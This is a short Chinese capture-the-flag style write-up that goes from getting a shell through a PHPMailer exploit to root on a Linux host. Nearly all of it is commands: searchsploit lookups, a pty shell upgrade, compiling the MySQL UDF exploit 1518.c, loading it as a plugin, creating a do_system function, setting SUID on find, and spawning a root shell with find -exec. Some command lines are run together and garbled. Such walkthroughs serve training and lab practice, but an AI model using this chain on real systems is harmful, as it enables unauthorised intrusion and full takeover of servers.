一次比赛打靶 | 从GetShell到提权拿下

https://www.exploit-db.com/

searchsploit PHPMailer

searchsploit -p 40974.py 

cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./vim 40974.py

python -c 'import pty;pty.spawn("/bin/bash")'

mysql -u root -pshow databases;

show global variables like 'secure%';
1、当 secure_file_priv 的值为 NULL，表示限制 mysqld 不允许导入|导出，此时无法提权；2、当 secure_file_priv 的值为 /tmp/，表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下，此时也无法提权；3、当 secure_file_priv 的值为空时，表示不对 mysqld 的导入|导出做限制，此时可提权。

searchsploit mysql udf

searchsploit -p 1518.c cp /usr/share/exploitdb/exploits/linux/local/1518.c ./

gcc -g -c 1518.cgcc -g -shared -o xilizhu.so 1518.o -lc
-g 生成调试信息-c 编译（二进制）-shared：创建一个动态链接库，输入文件可以是源文件、汇编文件或者目标文件。-o：执行命令后的文件名-lc：-l 库 c库名

#创建表create table xilizhu(line blob);

#将xilizhu.so插入到表中insert into xilizhu values(load_file('/var/www/html/exp/xilizhu.so'));

#将xilizhu.so使用dumpfile函数将原始数据导出select * from xilizhu into  dumpfile '/usr/lib/mysql/plugin/xilizhu.so';

#创建自定义函数do_system，类型是integer，并设置别名create function do_system returns integer soname 'xilizhu.so';

#查看函数是否成功创建select * from mysql.func;

#调用do_system函数来给find命令所有者的suid权限，使其可执行root命令 select do_system('chmod u+s /usr/bin/find');

find / -exec "/bin/sh" ;